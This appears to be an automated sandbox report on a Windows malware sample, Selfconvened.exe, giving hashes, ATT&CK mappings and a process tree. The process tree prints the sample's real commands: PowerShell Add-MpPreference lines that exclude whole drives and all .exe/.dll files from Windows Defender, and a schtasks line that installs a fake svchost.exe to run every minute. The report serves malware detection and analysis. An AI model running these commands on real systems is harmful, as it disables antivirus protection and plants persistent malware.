7a5fc736a94166592a370b8b311656517e2df180917bbc61fc688eb7df0915cb

General

Target

$TEMP/Selfconvened.exe
Size

4.5MB
MD5

64b5e984fda860eedf19c29a124094fb
SHA1

760c195741989e17b48ad52c13bed35e8ea51692
SHA256

1f47c67d3baa635c4b7dd2bfed0a26a6bd499c3ab5a64d10b391a52e7d71ba39
SHA512

187dbbc7137db41da77dd5c3d1471f82b157d031653109632adb9c49ea519f452b661cfd1845512661dcdb3b00bf2a02b2c3504406fb19ad89b06fcd6afee4e4
SSDEEP

98304:xLIWL25lsofrCgl5PmHGjCYv8LHPrVWPa5Qwy:Fslsofuit0bJWPa5QJ

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2628	powershell.exe
812	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2092	svchost.exe
3012	svchost.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\WindowsPro\svchost.exe	Selfconvened.exe
File opened for modification	C:\Windows\system32\WindowsPro\svchost.exe	Selfconvened.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5052	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3124	Selfconvened.exe
2628	powershell.exe
2628	powershell.exe
812	powershell.exe
812	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3124	Selfconvened.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	812	powershell.exe
Token: SeDebugPrivilege	2092	svchost.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3124 wrote to memory of 3588	3124	Selfconvened.exe	89
PID 3124 wrote to memory of 3588	3124	Selfconvened.exe	89
PID 3124 wrote to memory of 5052	3124	Selfconvened.exe	91
PID 3124 wrote to memory of 5052	3124	Selfconvened.exe	91
PID 3588 wrote to memory of 2628	3588	cmd.exe	93
PID 3588 wrote to memory of 2628	3588	cmd.exe	93
PID 3588 wrote to memory of 812	3588	cmd.exe	94
PID 3588 wrote to memory of 812	3588	cmd.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\$TEMP\Selfconvened.exe
"C:\Users\Admin\AppData\Local\Temp\$TEMP\Selfconvened.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3124
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" #cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:812
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /f /sc minute /rl highest /mo 1 /tn "Bobsledding" /tr "C:\Windows\system32\WindowsPro\svchost.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5052

C:\Windows\system32\WindowsPro\svchost.exe
C:\Windows\system32\WindowsPro\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2092

C:\Windows\system32\WindowsPro\svchost.exe
C:\Windows\system32\WindowsPro\svchost.exe
1⤵
- Executes dropped EXE
PID:3012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

Filesize
2KB

MD5
3d61c3fafacd57fc570153fefcc3bf45

SHA1
f0a01b1a27acde8d1d499daeb119e78b2d68f425

SHA256
89ed90813893a44310852bd8c730cc4ada856fff05b87a15f0a4f753f828ea28

SHA512
5f16cb9e3865edbb689c47655424e0600e1cfb5ced88a6f3d91bf5026494a1766495465c205b9937a4f08fb14fe71fe238e32f6e0d6ac1d1341ba4fa0868a1c9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4b2czpwp.v13.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\WindowsPro\svchost.exe

Filesize
10.7MB

MD5
0f97e75a9442912267b424b434738512

SHA1
50cd89a07a3677d9fed023c731b35f387251f17a

SHA256
f271ec5c579e017a25ef9c0635c15f254f47ea0285e191d3a639024ed224d445

SHA512
dafd64f8a91740b3a2a8f780da4cd9a2dd0833cdd355a231ead54a32a9b05eb4e53547b1efa5716378b64f391e0aeb128dd2e29c88c3979ff4492e1342f4bbbf

Download Submit
memory/2628-32-0x00007FFC7EB30000-0x00007FFC7F5F1000-memory.dmp

Filesize
10.8MB

Download
memory/2628-29-0x00007FFC7EB30000-0x00007FFC7F5F1000-memory.dmp

Filesize
10.8MB

Download
memory/2628-28-0x0000017C4A4E0000-0x0000017C4A502000-memory.dmp

Filesize
136KB

Download
memory/2628-27-0x00007FFC7EB30000-0x00007FFC7F5F1000-memory.dmp

Filesize
10.8MB

Download
memory/2628-17-0x00007FFC7EB30000-0x00007FFC7F5F1000-memory.dmp

Filesize
10.8MB

Download
memory/3124-5-0x00007FFC7EB30000-0x00007FFC7F5F1000-memory.dmp

Filesize
10.8MB

Download
memory/3124-11-0x00000256E74E0000-0x00000256E74F2000-memory.dmp

Filesize
72KB

Download
memory/3124-10-0x00000256E9F30000-0x00000256EA3FC000-memory.dmp

Filesize
4.8MB

Download
memory/3124-9-0x00000256E97C0000-0x00000256E9A64000-memory.dmp

Filesize
2.6MB

Download
memory/3124-8-0x00000256E9410000-0x00000256E97B8000-memory.dmp

Filesize
3.7MB

Download
memory/3124-7-0x00007FFC7EB30000-0x00007FFC7F5F1000-memory.dmp

Filesize
10.8MB

Download
memory/3124-6-0x00007FFC7EB33000-0x00007FFC7EB35000-memory.dmp

Filesize
8KB

Download
memory/3124-0-0x00007FFC7EB33000-0x00007FFC7EB35000-memory.dmp

Filesize
8KB

Download
memory/3124-4-0x00007FFC7EB30000-0x00007FFC7F5F1000-memory.dmp

Filesize
10.8MB

Download
memory/3124-3-0x00007FFC7EB30000-0x00007FFC7F5F1000-memory.dmp

Filesize
10.8MB

Download
memory/3124-2-0x00000256E6FA0000-0x00000256E7358000-memory.dmp

Filesize
3.7MB

Download
memory/3124-1-0x00000256CC500000-0x00000256CC97A000-memory.dmp

Filesize
4.5MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads